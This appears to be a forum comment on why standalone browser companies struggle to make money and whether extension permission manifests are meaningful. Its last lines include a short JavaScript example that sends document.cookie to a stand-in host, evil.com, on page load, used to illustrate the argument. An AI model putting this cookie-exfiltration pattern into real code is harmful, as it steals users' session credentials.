I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});The argument has nothing at all to do with declaring permissions in a manifest.